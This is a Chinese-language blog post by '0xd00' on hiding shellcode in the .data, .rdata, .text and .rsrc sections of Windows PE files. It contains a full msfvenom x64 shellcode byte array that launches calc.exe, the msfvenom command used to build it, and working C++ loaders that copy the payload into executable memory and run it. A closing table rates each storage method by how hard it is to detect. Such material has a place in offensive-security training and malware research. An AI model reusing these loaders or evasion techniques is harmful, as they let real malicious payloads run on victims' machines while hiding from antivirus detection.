0xd00's blog

Back

利用 PE 文件段 (.data, .text, .rsrc) 注入并隐藏 ShellcodeBlur image

shellcode可以根据需要保存在PE结构的多个不同段中。不同的段拥有不同的属性(如读、写、执行权限),了解并利用这些特性可以方便我们将 Payload 放置到最合适的位置来达到一定的伪装效果。

首先我们生成一段弹出计算器的shellcode:

msf生成shellcode

.data段#

#include "windows.h"

unsigned char buf[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
    void *exec_mem = VirtualAlloc(nullptr, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        return 1;
    }

    memcpy(exec_mem, buf, sizeof(buf));

    ((void (*)()) exec_mem)();

    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}
c

编译后通过我编写的PE分析工具查看:

pe analyzer online hex view .data

可以发现使用全局变量unsigned char保存shellcode,在编译后shellcode被保存到了.data段。

这是因为PE文件的.data段是PE文件的可执行部分中包含已初始化全局变量和局部变量的位置。此段可读写,适合在运行时动态解密加密的有效负载。

pe analyzer online .data section

.rdata段#

简单修改上面的代码,添加一个const修饰符。

const unsigned char buf[] ="...";
c

const修饰符修饰的变量被认为是只读数据,任何尝试对其修改的行为都会导致访问冲突error: assignment of read-only variable 'buf'

pe analyzer online .rdata section

最终在编译后就会被保存到rdata段,rdata中的r就是指read-only

pe analyzer online hex view .rdata

.text段#

需要使用下面的方式告诉MSVC编译器将此变量放置在.text段中。.text段默认具有可执行权限。因此在此段中的变量无需编辑内存区域权限,直接就可以运行。这对于小于 10 个字节的小型负载很有用,例如[上篇文章中的0xC3](Windows内存管理基础:VirtualAlloc、DEP 与 ASLR • 0xd00’s blog)。

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char buf[] ="...";
c

pe analyzer online .text section

pe analyzer online hex view .text

.rsrc段#

.rsrc段读取shellcode的方式可能会更加繁琐一些。

  1. msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o icon.ico

  2. Resource Files -> 添加 ->新建项

  3. 资源 -> 资源文件(.rc)

  4. 资源视图->Resource.rc右键->添加资源

  5. Accelerator->导入->选择生成的.ico文件->资源类型RCDATA

  6. 编译后,有效负载将存储在 .rsrc 节中,但无法直接访问。

  7. 想要访问.rsrc段中的数据需要通过几个WINAPI

#include <Windows.h>
#include <stdio.h>
#include "resource.h"

int main() {

    // --- 变量定义 ---
    HRSRC  hRsrc = NULL; // 用于接收资源信息的句柄
    HGLOBAL hGlobal = NULL; // 用于接收已加载资源的全局内存句柄
    PVOID   pPayloadAddress = NULL; // 指向载荷在内存中实际地址的指针
    SIZE_T  sPayloadSize = 0;    // 载荷的大小(字节)

    // --- 步骤 1: 定位资源 ---
    // 在当前模块(NULL)的资源节中,查找由 resource.h 中定义的 ID (IDR_RCDATA1)
    // 和预定义类型 (RT_RCDATA) 标识的资源。
    // RCDATA 代表“原始数据”,是存储任意二进制数据的标准方式。
    hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
    if (hRsrc == NULL) {
        printf("[!] FindResourceW 失败, 错误码: %d\n", GetLastError());
        return -1;
    }
    printf("[+] 资源定位成功, 句柄: %p\n", hRsrc);

    // --- 步骤 2: 加载资源 ---
    // 使用上一步获取的资源句柄,将资源数据加载到内存中。
    // 此函数返回的是一个全局内存对象的句柄,而不是一个直接可读的指针。
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        printf("[!] LoadResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }
    printf("[+] 资源加载成功, 句柄: %p\n", hGlobal);

    // --- 步骤 3: 锁定资源并获取指针 ---
    // 将已加载的资源锁定在内存中,并返回一个指向其数据起始位置的直接指针。
    // 返回的指针是只读的。如果需要修改,应将其内容复制到另一块可写内存中。
    pPayloadAddress = LockResource(hGlobal);
    if (pPayloadAddress == NULL) {
        printf("[!] LockResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }

    // --- 步骤 4: 获取资源大小 ---
    // 获取资源的精确大小(以字节为单位)。这对于后续的内存复制或处理至关重要。
    sPayloadSize = SizeofResource(NULL, hRsrc);
    if (sPayloadSize == 0) { // SizeofResource 成功时返回非零值,失败返回0
        printf("[!] SizeofResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }

    // --- 步骤 5: 打印结果用于验证 ---
    // 显示获取到的载荷内存地址和大小,以确认前面的步骤都已成功执行。
    printf("\n[i] 载荷地址 (pPayloadAddress): 0x%p \n", pPayloadAddress);
    printf("[i] 载荷大小 (sPayloadSize): %zu 字节\n", sPayloadSize); // 使用 %zu 来打印 SIZE_T 类型,更标准
    void* exec_mem = VirtualAlloc(nullptr, sPayloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        return 1;
    }

    memcpy(exec_mem, pPayloadAddress,sPayloadSize);
    printf("[i] pTmpBuffer var : 0x%p \n", exec_mem);

    ((void (*)()) exec_mem)();

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    printf("\n[#] 按下 <Enter> 键退出...\n");
    getchar();1
    return 0;
}
c

可以看到Shellcode被成功从资源段中提取并运行。 运行效果

x64dbg中也能看到.rsrc中的payload已被复制到了新分配的可执行区域中。 通过x64dbg查看拷贝.text中的shellcode和.rsrc段中的原始shellcode

pe analyzer online hex view .rsrc

总结#

通过本次探索,我们掌握了四种在 PE 文件中存储 Shellcode 的核心技术。下表对它们进行了简要的对比:

方法目标段C++ 实现方式段权限隐蔽性优点与缺点
方法一.data全局变量RW优点: 简单直接。
缺点: 特征明显,易被检测。
方法二.rdataconst 全局变量R优点: 伪装成只读数据,更隐蔽。
缺点: 仍需内存拷贝。
方法三.text__declspec(allocate)RX优点: 与代码混合,无需 VirtualAlloc
缺点: 依赖编译器。
方法四.rsrc作为资源嵌入,API加载R极高优点: 行为类似合法程序,极难发现。
缺点: 实现稍显复杂。
利用 PE 文件段 (.data, .text, .rsrc) 注入并隐藏 Shellcode
https://blog.0xd00.com/blog/windows-pe-payload-storage-locations
Author 0xd00
Published at 2025年7月16日
Comment seems to stuck. Try to refresh?✨